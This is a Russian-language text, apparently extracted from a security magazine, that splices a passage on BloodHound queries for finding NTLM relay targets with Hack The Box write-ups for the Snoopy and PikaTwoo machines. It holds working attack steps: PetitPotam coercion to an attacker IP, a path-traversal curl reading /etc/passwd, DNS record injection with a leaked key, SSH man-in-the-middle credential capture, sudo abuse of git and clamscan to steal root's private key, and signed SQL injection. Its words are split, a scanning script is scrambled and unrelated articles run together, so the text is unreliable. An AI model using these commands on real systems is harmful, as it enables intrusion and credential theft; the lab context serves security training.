явно видим, что Relay воз можен толь ко на один из них, и можем не тра тить
попус ту вре мя.

Сер веры Exchange в локаль ных адми нис тра торах сер вера Exchange
с уче том отсутс твия SMB signing

INFO

До бав лять атри буты в BloodHound доволь но
прос то — дос таточ но сос тавить кор рек тный зап- 
рос. Под робнее о том, как это сде лать, мож но
про читать в .стать ях Дмит рия Неверо ва

На этом эта пе уже получа ется неп лохо, но мож но добить ся и луч шего резуль- 
тата. До это го момен та мы ана лизи рова ли релей толь ко на SMB, но мы
можем сде лать то же самое и на LDAP. Зачас тую такой релей воз можен из-за
вклю чен ных WebDAV или NetNTLMv1.

Соб рать информа цию о вклю чен ных WebDAV поможет CrackMapExec, мы
это уже обсужда ли в пре дыду щих стать ях. Спар сить дан ные мож но сле- 
дующим обра зом:

   cat cme_webdav | grep -ia enabl | awk '{print $2}' > webdav.txt 

Что бы соб рать информа цию о NetNTLMv1, лег че все го вос поль зовать ся при- 
нуж дени ем к аутен тифика ции каж дой машины на себя с под нятым Responder
в режиме ана лиза. Responder все акку рат но сло жит в базу, из которой нам
не сос тавит тру да дос тать име на машин, где вклю чен NetNTLMv1. Responder
запус кает ся так:

Responder -I eth0 -A

Ма шины при нуж дают ся к аутен тифика ции так:

host while read 
do

       timeout 5 python3 PetitPotam.py <attacker IP> $host -u '' -p '' -d
''
done < computers 

Те перь у нас име ется два спис ка машин, и нам надо добавить эту информа- 
цию в базу для ана лиза. «Из короб ки» в скрип те нет нуж ных нам атри бутов,
но эти фун кции лег ко дописать вруч ную. Добав ляем такие строч ки в мес то,
показан ное на сле дующем рисун ке:

 : elif arguments.mode == 'w'
    operation = 'webdav = true'

 : elif arguments.mode == 'n'
    operation = 'netntlmv1 = true'

До писы ваем скрипт

И ана логич но добавим код во вто ром мес те:

       

        

group.add_argument('-m', '--mode', dest = 'mode', help = 'Mode, h = 
set to high value, o = set to owned, s = set to no SMB signing, u = 
unmark as owned', choices = ['h', 'o', 's', 'u', 'w', 'n'])

До писы ваем код

Пос ле это го добав ляем атри буты:

 w python3 BloodHoundLoader.py webdav.txt -m
 n python3 BloodHoundLoader.py netntlmv1.txt -m

Смысл Relay-ата ки на LDAP сос тоит в том, что бы зах ватить учет ку с помощью
тех ник RBCD или ShadowCred либо вос поль зовать ся инте рес ным Generic’ом.
Потому и зап росы надо стро ить исхо дя из это го. На самом деле в интерне те
уже дос таточ но мно го готовых зап росов, нам оста ется толь ко переде лать их
под свои нуж ды.

Продолжение статьи →
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Рас смот рим нес коль ко при меров, как мож но сос тавить зап рос для поис ка
инте рес ных век торов экс плу ата ции. Пос коль ку мы потен циаль но можем зах- 
ватить любую машину с NetNTLMv1, сто ит про верить, на какую из них обра- 
тить вни мание в пер вую оче редь. Быва ет, что их десят ки или даже сот ни,
и тог да про верять ACL каж дой вруч ную — уто митель ное занятие. Из этих
сооб ражений был соз дан сле дующий зап рос, который показы вает корот кий
путь от машины с атри бутом NetNTLMv1 до зах вата домена.

{
      "name": "Shortest Paths from netntlmv1 to Domain",

      "category": "Relay",
      "queryList": [

       {
          "final": false,
          "title": "Select a Domain...",
          "query": "MATCH (d:Domain) RETURN d.name ORDER BY d.name 

ASC"
       },
       {

          "final": true,
          "query": "MATCH p = allShortestPaths((c:Computer)-[r:{}

*1..]->(d:Domain)) WHERE c.netntlmv1 = true AND d.name = $result 
RETURN p",

          "endNode": "{}"
       }
     ]
   }

В этом при мере кон трол леры домена ока зались с вклю чен ным NetNTLMv1-
хешем. На самом деле такое встре чает ся дос таточ но час то.

По иск путей от машин с вклю чен ным NetNTLMv1 до домена

Сле дующий зап рос показы вает путь до адми нис тра торов домена от машин
с вклю чен ным хешем NetNTLMv1.

{
    "name": "Find Shortest Path from netntlmv1 to DA",

      "category": "Relay",
      "queryList": [

       {
          "final": true,
          "query": "MATCH (u:Computer {netntlmv1:true}) MATCH (g:

Group) WHERE g.objectid ENDS WITH '-512' MATCH p = shortestPath( (u)
-[*1..]->(g) ) RETURN p"
       }
     ]
}

По иск путей от машин с вклю чен ным NetNTLMv1 до адми нис тра тора
домена

И еще один зап рос до целей, которые отме чены в качес тве при виле гиро ван- 
ных:

{
      "name": "Computer with netntlmv1 a path to High Value",

      "category": "Relay",
      "queryList": [

       {
          "final": true,
          "query": "MATCH (u:Computer {netntlmv1:true}),(n {

highvalue:true}),p = shortestPath( (u)-[*1..]->(n) ) RETURN p"
       }
     ]
   }

По иск путей от машин с вклю чен ным NetNTLMv1 до при виле гиро ван ных
целей

И сле дующие три зап роса ана логич ны пре дыду щим трем, толь ко показы вают
путь от машин с вклю чен ным WebDAV. Зап рос от машин с вклю чен ным
WebDAV до домена:

{
      "name": "Shortest Paths from webdav to Domain",

      "category": "Relay",
      "queryList": [

       {
          "final": false,
          "title": "Select a Domain...",
          "query": "MATCH (d:Domain) RETURN d.name ORDER BY d.name 

ASC"
       },
       {

          "final": true,
          "query": "MATCH p = allShortestPaths((c:Computer)-[r:{}

*1..]->(d:Domain)) WHERE c.webdav = true AND d.name = $result RETURN 
p",

          "endNode": "{}"
       }
     ]
   }

По иск путей от машин с вклю чен ным WebDAV до домена

Зап рос от машин с вклю чен ным WebDAV до адми нис тра тора домена:

{
    "name": "Find Shortest Path from webdav to DA",

      "category": "Relay",
      "queryList": [

       {
          "final": true,
          "query": "MATCH (u:Computer {webdav:true}) MATCH (g:Group) 

WHERE g.objectid ENDS WITH '-512' MATCH p = shortestPath( (u)-[*1..]
->(g) ) RETURN p"
       }
     ]
   }

По иск путей от машин с вклю чен ным WebDAV до адми нис тра торов
домена

Зап рос от машин с вклю чен ным WebDAV до при виле гиро ван ных целей:

{
      "name": "Computer with webdav a path to High Value",

      "category": "Relay",
      "queryList": [

       {
          "final": true,
          "query": "MATCH (u:Computer {webdav:true}),(n {highvalue:

true}),p = shortestPath( (u)-[*1..]->(n) ) RETURN p"
       }
     ]
   }

По иск путей от машин с вклю чен ным WebDAV до при виле гиро ван ных
целей

В резуль тате мы получа ем неболь шой спи сок зап росов, который облегчит
нам жизнь при поис ке век тора экс плу ата ции Relay-ата ки.

Раз дел с зап росами для поис ка релей-атак

Relay-ата ка тре бует тща тель ной под готов ки, если про вес ти осно ватель ную
раз ведку, то даль нейшее прод вижение в ском про мети рован ной сети не сос- 
тавит тру да.

ÂÛÂÎÄÛ

Мы рас смот рели далеко не все воз можные зап росы, помога ющие искать
цели для реле ев. Но век тор ясен — при думы вай новые зап росы, добав ляй
новые атри буты, рас ска зывай об этом, показы вай их реали зацию. Ну а сот- 
рудни кам ИБ-отде лов советую брать на воору жение этот под ход, искать век- 
торы для реле ев в сво их доменах и огра ничи вать в дей стви ях хит рых хакеров.
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ВЗЛОМ

В этом рай тапе мы про ведем MITM-ата ку
на служ бу SSH, что бы заполу чить логин
и пароль поль зовате ля. Но сна чала попен- 
тестим веб-сер вер, най дем уяз вимость LFI
и, про ник нув в сис тему, повысим при виле- 
гии через анти вирус ClamAV.

Уп ражнять ся будем на тре ниро воч ной машине Snoopy с пло щад ки 
. Ее уро вень — слож ный.

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.212    snoopy.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел три откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
53 — служ ба BIND DNS;•
80 — веб-сер вер Nginx 1.18.0.•

На SSH ничего не добь емся, а вот быс тро про верить DNS мы можем.

dig @snoopy.htb 

Ре зуль тат выпол нения коман ды dig

Но вых записей DNS обна ружить не уда лось, поэто му сме ло перехо дим
к веб-сер веру, а точ нее — к сай ту, который на нем рас положен.

Глав ная стра ница сай та

На ходим упо мина ние нес коль ких поль зовате лей, которые потен циаль но
могут иметь учет ную запись как на самом сай те, так и на сер вере.

Име на поль зовате лей на сай те

Так же натыка емся на сооб щение о том, что поч товый сер вис 

 в дан ный момент недос тупен.

mail.snoopy.
htb

Со дер жимое стра ницы contact.html

ÒÎ×ÊÀ ÂÕÎÄÀ
Поп робу ем прос каниро вать под домены в поис ках скры тых стра ниц и форм
для авто риза ции.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — заголо вок HTTP.• -H

Мес то перебо ра помеча ется сло вом FUZZ.

Ко ман да получа ется сле дующая:

ffuf  
256  

-u http://snoopy.htb/ -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.snoopy.htb'

Ре зуль тат ска ниро вания под доменов

В вывод ути литы попада ют абсо лют но все сло ва из сло варя, поэто му сле дует
допол нитель но ука зать филь тр по раз меру стра ницы (параметр ).-fs

ffuf  
256   

-u http://snoopy.htb/ -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.snoopy.htb' -fs 0,23418 

Ре зуль тат ска ниро вания под доменов

До бав ляем най ден ный под домен в файл  и смот рим стра ницу./etc/hosts

10.10.11.212 snoopy.htb mm.snoopy.htb 

Глав ная стра ница mm.snoopy.htb

Нас встре чает сер вис Mattermost. Тут ничего не сде лать, поэто му воз вра- 
щаем ся к пер вому сай ту. Про дол жив поис ки, обна ружи ваем файл, который
мы можем ска чать.

Ска чан ный файл в Burp Proxy

Burp сра зу под све чива ет мес та, которые могут быть уяз вимы для LFI, поэто му
тща тель но про верим этот зап рос. Закиды ваем его в Burp Intruder и про гоня-
ем по спис ку с раз ными вари анта ми под ста нов ки.

Burp Intruder — вклад ка Positions

Burp Intruder — резуль тат перебо ра

Мы находим такой путь к фай лу, который воз вра щает тот же ответ, что осталь- 
ные вари анты. Пов торя ем зап рос через curl и про буем ска чать файл 

.

/etc/
passwd

curl 

 

'http://snoopy.htb/
download?file=....//....//....//....//....//....//....//....//etc/
passwd' -o f.zip 
unzip f.zip 
cat press_package/etc/passwd 

По луче ние фай ла /etc/passwd

По луча ем файл, а зна чит, уяз вимость есть.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists


HTB SNOOPY
ПРОВОДИМ MITM-АТАКУ НА SSH ДЛЯ

ПОЛУЧЕНИЯ УЧЕТНЫХ ДАННЫХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ
NS update
Пер вым делом я подумал, что бла года ря LFI мы можем получить важ ные дан- 
ные для под клю чения к служ бе BIND DNS. Далее для нерабо тающе го домена
соз дадим NS-запись, ука зыва ющую на наш сер вер. Затем раз вернем служ бу
SMTP и поп робу ем вос ста новить пароль от Mattermost, что бы он при шел
на поч ту. Это зас тавит уда лен ный сер вер прис лать ссыл ку для вос ста нов- 
ления пароля на наш сер вер.

Чи таем файл ./etc/bind/named.conf

Со дер жимое фай ла named.conf

По луча ем алго ритм, имя клю ча и сек рет. Теперь под клю чаем ся к служ бе NS
и добав ляем запись.

 nsupdate -d -y hmac-sha256:rndc-key:
BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=

server snoopy.htb 
update add mail.snoopy.htb.  86400  IN A 10.10.14.53 
send 

Кон фигура ция NS-сер вера

За пус каем лег кий SMTP-сер вер на Python 3 и в качес тве адре са для вос ста- 
нов ления пароля ука зыва ем поль зовате ля  из фай ла .cbrown /etc/passwd

 python3 -m smtpd -n -c DebuggingServer 10.10.14.53:25 

Вос ста нов ление пароля

Вхо дящее сооб щение

Во вхо дящем сооб щении, как и пред полага ли, видим ссыл ку на вос ста нов- 
ление пароля. Тут у меня не получи лось вос ста новить пароль по ссыл ке —
сер вис выдал ошиб ку токена. Так про дол жалось, пока я не испра вил 

на ...

=3D
=

Стра ница сбро са пароля

Ка налы Mattermost

Сре ди сооб щений ничего инте рес ного не находим, поэто му прос мотрим
зарегис три рован ные коман ды, вве дя ./

За регис три рован ные коман ды

По коман де  откры вает ся фор ма, где нуж но ука зать

адрес сер вера. По воз можным вари антам в бок се «Operating System»
догады ваем ся, что это дан ные для под клю чения к SSH (так как под клю чение
осу щест вля ется к пор ту 2222).

/server_provision

Фор ма зап роса server_provision

SSH-MITM
Ви димо, бот под клю чит ся к SSH на ука зан ный сер вер, поэто му мы можем
вос поль зовать ся инс тру мен том , что бы про вес ти MITM-ата ку
на SSH и получить учет ные дан ные поль зовате ля.

SSH-MITM

pip3 install ssh-mitm 

 python3 -m sshmitm server --enable-trivial-auth --remote-host 10.10.
11.212 --listen-port 2222 

За пуск сер вера SSH-MITM

Те перь ука зыва ем в фор ме дан ные для под клю чения по нашему адре су. Поч- 
ти сра зу пос ле отправ ки зап роса в логах SSH-MITM получа ем учет ные дан ные
поль зовате ля.

Фор ма зап роса server_provision

Ло ги SSH-MITM

Те перь сами под клю чаем ся к уда лен ному сер веру с получен ными учет ными
дан ными и забира ем пер вый флаг.

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ
Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

В отче те LinPEAS видим, что нас трой ки sudoers дос тупны толь ко при вво де
пароля.

Нас трой ки судо ера

Так же узна ём, что на сер вере при сутс тву ет биб лиоте ка, необ ходимая
для выпол нения команд Bash из MySQL.

Дан ные о MySQL

За ново зап росим нас трой ки sudoers и в этот раз вве дем пароль поль зовате- 
ля.

Нас трой ки sudoers

Поль зователь  может выпол нить коман ду 

в кон тек сте поль зовате ля . Эта коман да при меня ет к фай лам исправ- 

ления, то есть таким спо собом мы можем про изво дить запись в любой файл
поль зовате ля . Поп робу ем сге нери ровать и записать пуб личный ключ

SSH.

cbrown /usr/bin/git apply *
sbrown

sbrown

ssh-keygen 

Соз дание пары клю чей SSH

 .. cd
cat cbrown/.ssh/id_rsa.pub > cbrown/.ssh/authorized_keys 
git diff cbrown/.bash_history cbrown/.ssh/authorized_keys > /tmp/git.
diff 

А теперь нем ного под пра вим пути в diff-фай ле, что бы они соот ветс тво вали
катало гам поль зовате ля , и выпол ним .sbrown git apply

Из менения в фай ле git.diff

 sudo -u sbrown /usr/bin/git apply /tmp/git.diff 

Ког да изме нения при мене ны, можем под клю чить ся по SSH от име ни целево- 
го поль зовате ля.

ssh -i cbrown/.ssh/id_rsa sbrown@127.0.0.1 

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Раз ведку уже про води ли, а со сме ной кон тек ста обыч но мало что меня ется,
поэто му про веря ем нас трой ки sudoers.

Нас трой ки sudoers

Та ким обра зом узна ём, что мы можем без вво да пароля выпол нить коман ду 

 в при виле гиро ван ном кон тек сте. Clamscan —

это кон соль ная прог рамма для управле ния анти виру сом ClamAV. Нем ного
погуг лив, мож но вый ти на , где показан спо соб чте ния фай ла
с помощью Clamscan.

/
usr/local/bin/clamscan

статью

Я попытал ся про читать зак рытый ключ SSH поль зовате ля root вот такой
коман дой:

sudo /usr/bin/clamscan /root/.ssh/id_rsa --copy=/tmp/results 

Но в ито ге ничего не получил.
Изу чив под робнос ти, я поп робовал выс тавить параметр , при помощи

которо го зада ется спи сок фай лов для ска ниро вания. Дело в том, что каж дая
стро ка из передан ного фай ла будет вос при нята анти виру сом как путь
для ска ниро вания, но, пос коль ку такого пути не сущес тву ет, мы получим
сооб щение об ошиб ке, а в нем — стро ку из фай ла. Таким спо собом эксфиль- 
тру ем весь файл.

-f

sudo /usr/local/bin/clamscan -f /root/.ssh/id_rsa --copy=/dev/shm/ 

Ре зуль тат исполь зования Clamscan

Те перь собира ем при ват ный ключ и под клю чаем ся от име ни рута.

Флаг рута

Ма шина зах вачена!

https://github.com/ssh-mitm/ssh-mitm
https://github.com/carlospolop/PEASS-ng
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-clamav-privilege-escalation/


HTB

PIKATWOO

ПРОХОДИМ ОДНУ ИЗ САМЫХ
СЛОЖНЫХ МАШИН 

C HACK THE BOX

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Эту тач ку «безум ного» уров ня слож ности я
штур мовал поч ти три месяца. Чего здесь
толь ко не встре тилось: уяз вимость
в OpenStack, реверс при ложе ния
для Android и под делка сер тифика тов, баг
в Apache APISIX, ата ка на ModSecurity,
которую уда лось рас кру тить до RCE...
Под конец получа ем дос туп к ноде
Kubernetes, сли ваем сек реты и экс плу ати- 
руем баг в minikube CRI-O. В общем, скуч но
не будет!

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Пер во-напер во добав ляем IP-адрес машины к себе в :/etc/hosts

10.10.11.199    pikatwoo.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел мно го откры тых пор тов:
22 — служ ба OpenSSH 8.4p1;•
80 и 8080 — веб-сер вер Nginx 1.18.0;•
443 — тоже веб-сер вер, поле сер тифика та  рас кры вает
новый домен ;

• commonName

api.pokatmon-app.htb

4369 — служ ба Erlang Port Mapper; ска нер заод но показы вает нам
динами чес кий порт ноды Rabbit — 25672 (так же открыт);

•

5000 — оче ред ной веб-сер вер, выпол няющий редирект на новый домен
;

•
pikatwoo.pokatmon.htb

5672 — служ ба RabbitMQ 3.8.9;•
35357 — веб-сер вер, выпол няющий редирект на домен .• pikatwoo.htb

Пер вым делом для новых доменов соз даем запись в  и про веря- 

ем сай ты.

/etc/hosts

10.10.11.199 pikatwoo.htb pokatmon-app.htb api.pokatmon-app.htb 
pokatmon.htb pikatwoo.pokatmon.htb 

Зап рос на порт 80 при водит нас на сайт Pokatdex со спис ком геро ев. Но при
выборе любого из них получа ем ошиб ку в фор мате JSON.

Глав ная стра ница сай та http://pokatmon.htb

Ошиб ка при выборе пер сонажа

HTTPS-сер вер сра зу вер нул ошиб ку, зато на пор те 35357 работа ет
OpenStack.

Ошиб ка на сай те https://pokatmon-app.htb

От вет сер вера на пор те 35357

По зап росу «OpenStack ports»  дает понять, что
на пор те 5000 работа ет сер вис Keystone, а порт 8080 отве чает за Swift
(OpenStack Object Storage). Для про вер ки сде лаем зап росы к обо им сер- 
висам.

пер вая ссыл ка в Google

curl -s http://10.10.11.199:8080/info | jq .

Ин форма ция о сер висе Swift OpenStack

curl http://10.10.11.199:5000/ -s | jq .

Ин форма ция о сер висе Keystone OpenStack

Пос коль ку  авто мати чес ки стро ит кар ту сай та, видим, что

на  дос тупен файл , из которо го узна ём о сущес тво- 
вании неко его при ложе ния для Android, а так же WAF ModSecurity.

Burp Suite

pokatmon.htb CHANGELOG

Кар та сай та

Мы зна ем вер сии уста нов ленно го ПО, поэто му можем поп робовать поис кать
в интерне те опи сания уяз вимос тей и экс пло иты.

ÒÎ×ÊÀ ÂÕÎÄÀ
OpenStack Keystone
Служ ба Keystone вхо дит в облачную плат форму OpenStack и обес печива ет
аутен тифика цию кли ентов API, обна руже ние служб и рас пре делен ную мно- 
гополь зователь скую авто риза цию. В слу чае с Keystone поиск экс пло итов ока- 
зал ся нелег кой задачей, но все же находим уяз вимость с иден тифика тором
CVE-2021-38155, которая поз волит опре делить сущес тву ющих поль зовате- 
лей.

Спи сок уяз вимос тей для Keystone OpenStack

Суть бага в том, что если мы поп робу ем нес коль ко раз авто ризо вать ся
от име ни сущес тву юще го поль зовате ля, то он будет на вре мя заб локиро ван
и нам вер нут соот ветс тву ющее сооб щение. Для име ни поль зовате ля, акка- 
унта которо го не сущес тву ет, мы такого сооб щения не получим. Возь мем
спи сок имен из набора  и поп робу ем авто ризо вать ся с каж дым
из имен и десятью раз ными пароля ми с помощью . Для авто- 
риза ции исполь зуем зап рос к  со сле дующи ми дан ными.

SecLists
Burp Intruder

/v3/auth/tokens

{
   "auth": {
       "identity":{
           "methods":["password"],
           "password":{
               "user":{
                   "password":"§admin§",
                   "name":"§admin§",
                   "domain":{
                       "id":"default"
}}}}}}

Burp Intruder — вклад ка Positions

Ре зуль тат перебо ра

В ито ге получа ем двух поль зовате лей:  и . Перебор паролей

ничего не дает, поэто му перехо дим к дру гому сер вису.

admin andrew

 — ПО для облачно го хра нили ща, поз- 

воля ющее хра нить и извле кать боль шое количес тво дан ных с помощью прос- 
того API. По зап росу «keystone swift» получа ем , из которой
узна ём о том, что мож но получить дос туп к откры тым дан ным, зная толь ко имя
поль зовате ля и исполь зуя пре фикс . Поп робу ем переб рать хра нили ще
поль зовате ля .

OpenStack Object Store (Swift)

до кумен тацию

AUTH_
andrew

ffuf  256 -u http://10.10.11.199:8080/v1/AUTH_andrew/FUZZ -t -w 
directory_2.3_medium_lowercase.txt -ac

Ре зуль тат перебо ра катало га

По луча ем один каталог, который содер жит при ложе ние для Android.

Фай лы в катало ге android

Ви димо, это при ложе ние, которое упо мина лось в чен жло ге. Ска чива ем его
для ана лиза.

ÒÎ×ÊÀ ÎÏÎÐÛ
Àíàëèç APK
В качес тве вир туаль ной машины я исполь зую AVD из Android Studio. Пос ле
запус ка вир туаль ного смар тфо на про верим, опре дели лось ли устрой ство
в .adb

adb devices 

Ус трой ства adb

Те перь с помощью  уста новим ска чан ное при ложе ние и запус тим уже

с мобиль ного устрой ства.

adb

adb install pokatmon-app.apk 

Глав ное окно при ложе ния

Нас встре чает фор ма авто риза ции, но, вве дя тес товые дан ные, мы не получа- 
ем дос туп к сер веру.

Ошиб ка при ложе ния

На хос товой сис теме запус каем  и смот рим, куда идут зап росы.

В тра фике отме чаем DNS-зап рос для резол ва .

Wireshark

api.pokatmon-app.htb

Пе рех вачен ные пакеты в Wireshark

В качес тве сво его DNS-сер вера исполь зуем . Для най ден ного

адре са сде лаем запись в фай ле  и запус тим .

dnsmasq

/etc/dnsmasq.conf dnsmasq

address=/api.pokatmon-app.htb/10.10.11.199

А теперь переза пус тим вир туаль ную машину, но с ука зани ем DNS-сер вера
и пов торим зап рос на сер вер.

emulator -dns-server 10.10.16.46 -avd Pixel_3a_API_33_x86_64 

Ошиб ка при ложе ния

На конец при ложе ние может общать ся с сер вером. Теперь про пус тим весь
его тра фик через , для чего в нас трой ках Burp соз дадим новый
лис тенер на VPN-интерфей се. Соз данный лис тенер ука зыва ем в нас трой ках
прок си AVD.

Burp Proxy

Нас трой ки Burp — лис тенеры Proxy

Нас трой ки Proxy AVD

Продолжение статьи →
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Но сно ва не получа ем дос туп к сер веру. При чину можем пос мотреть в логах
Burp Proxy. Все дело в SSL-сер тифика те.

Ло ги Burp Proxy

Что бы ошиб ка исчезла, нам нуж но уста новить сер тификат Burp в вир туаль ное
устрой ство. Для это го сна чала ска чива ем сам сер тификат, кон верти руем его
в фор мат PEM и пере име новы ваем. В Android имя сер тифика та — это его
кон троль ная сум ма.

wget localhost:8080/cert -O cert.der 
 der openssl x509 -inform -in cert.der -out cert.pem 
 pem  openssl x509 -inform -subject_hash_old -in cert.pem 

cp cert.pem 9a5ba575.0 

Вы чис ление кон троль ной сум мы сер тифика та

Те перь нуж но сох ранить наш серт в катало ге 

 устрой ства. Но прос то записать его не получит ся, так как фай ловая

сис тема вир туаль ной машины дос тупна толь ко для чте ния. Переза пус тим
вир туаль ную машину с парамет ром .

/system/etc/security/
cacerts/

-writable-system

emulator -dns-server 10.10.16.46 -avd Pixel_3a_API_33_x86_64 
-writable-system

А затем «руту ем» устрой ство и перемон тиру ем основной каталог. Если все
про ходит успешно, сох раня ем сер тификат Burp.

adb root 
adb remount 
adb push 9a5ba575.0 /system/etc/security/cacerts/ 

За пись сер тифика та на Android

Пов торя ем попыт ку авто риза ции и видим зап рос в Burp Proxy.

Зап росы в Burp Proxy

Я сра зу отпра вил зап рос в , но ока залось, что у сер вера
заготов лены раз ные вари анты отве та. Как мож но видеть на скри не, на зап рос
без заголов ка  сер вер отве тит, что дан ные не под писаны.

А при изме нении дан ных зап роса сер вер сооб щит о несо ответс твии под писи.

Burp Repeater

authorization

Зап росы на сер вер

Тог да будем работать через само при ложе ние. Я поп робовал отпра вить
базовую наг рузку , это мог ло бы помочь обой ти авто риза цию,

при сутс твуй здесь воз можность для SQL-инъ екции. Ока залось, что при ложе- 
ние не поз воля ет вво дить некото рые сим волы.

' or 1=1 -- -

Глав ное окно при ложе ния

Тог да при дет ся понять, как фор миру ется под пись. При прос мотре содер- 
жимого APK-фай ла мож но най ти два клю ча RSA.

Со дер жимое APK-фай ла

Че рез две-три попыт ки под писать отправ ляемые дан ные с помощью при ват- 
ного клю ча получа ем валид ную под пись!

  
  

echo -n "app_beta_mailaddr=ralf@ralf.com&app_beta_code=1234" | 
openssl dgst -sha256 -sign private.pem | base64 -w0

Фор мирова ние под писи дан ных

Те перь под писыва ем дан ные с упо мяну той ранее наг рузкой и дела ем зап рос
на сер вер.

  
  

echo -n "app_beta_mailaddr=' or 1=1 -- -&app_beta_code=1234" | 
openssl dgst -sha256 -sign private.pem | base64 -w0

curl   

 
  

-k -X POST -H 'authorization: 
signature=oZ3SEZMP1n2xRV33Ruf9NNmW5x19GHJv5+Af/
akn2dMfnViDpuTd6gP6vm0Zz42pS0VS6B/
ymJsgzoekc1QZAjMyoZh9Q+TxZ1MzFFCx2iqiVD27frr+Bblw83VVDKG3Nx/
cKkk6NRHeotNQRPhGmQUQrHLPeFWybleMoN5O3qrFnuPehDnYJVheiVyAMyNnJl1Lm7RG
XdEva6CEyssNqIqrApbATs8ZQFFsNZgyQKMZh5u6X1sLuVXiSTkYA3fnmwrEyMNzfuvCJ
U9LUx4sOGRO/
Zv9bVhO3knlriRfXN1DPRDX3YePUzhQrdFNApo72yRnmtsecfVJ08sz/huSgQ=='
'https://api.pokatmon-app.htb/public/validate' --data
"app_beta_mailaddr=' or 1=1 -- -&app_beta_code=1234" 2>/dev/null| jq 

От вет сер вера

В отве те получа ем поч товый адрес и ключ-инвайт. С эти ми дан ными авто- 
ризу емся в при ложе нии и получа ем редирект на .www.pokatmon-app.htb

Глав ное окно при ложе ния

Этот адрес мы уже посеща ли, там рас положен основной сайт, при этом
в Burp Proxy видим те же инвайт и поч товый ящик. Но обра тим вни мание и на
веб-сер вер APISIX 2.10.1.

От вет в Burp Proxy

Îáõîä êàòàëîãà â Apache APISIX
По ищем готовые экс пло иты для гей твея APISIX. Зап рос «apisix Vulnerabilities»
при водит к  ста тей про уяз вимос ти. Из всех упо мяну тых CVE наибо- 
лее при мени ма , которая даст воз можность обхо да катало га.
Тут сто ит вер нуть ся к ска ниро ванию катало гов, так как изна чаль но я не при- 
дал зна чения мно жес тву резуль татов с кодом отве та 403.

под борке
CVE-2021-43557

Ре зуль тат ска ниро вания катало гов

Их объ еди няет наличие подс тро ки  в URI зап роса. Дело в том, что URI

бло киру ется бла года ря про вер ке вхож дения подс тро ки, а эту про вер ку мож но
обой ти, если исполь зовать обыч ное URL-кодиро вание.

private

Про вер ка кон цепции

Я про верил все катало ги, которые при пре дыду щем ска ниро вании вер- 
нули 403, но ничего, кро ме отве та 404, не получил. Тог да запус каем ска ниро- 
вание в катало ге ./private/

  
  256  403 

